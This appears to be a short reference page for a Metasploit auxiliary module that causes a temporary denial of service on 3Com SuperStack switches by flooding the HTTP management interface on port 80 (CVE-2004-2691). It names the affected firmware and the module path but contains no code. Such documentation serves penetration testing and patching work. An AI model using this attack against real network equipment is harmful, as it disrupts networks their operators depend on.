Module Overview

Name: 3Com SuperStack Switch Denial of Service
Module: auxiliary/dos/http/3com_superstack_switch
Source code: modules/auxiliary/dos/http/3com_superstack_switch.rb
Disclosure date: 2004-06-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 80
List of CVEs: CVE-2004-2691

This module causes a temporary denial of service condition against 3Com SuperStack switches. By sending excessive data to the HTTP Management interface, the switch stops responding temporarily. The device does not reset. Tested successfully against a 3300SM firmware v2.66. Reported to affect versions prior to v2.72.

Module Ranking and Traits
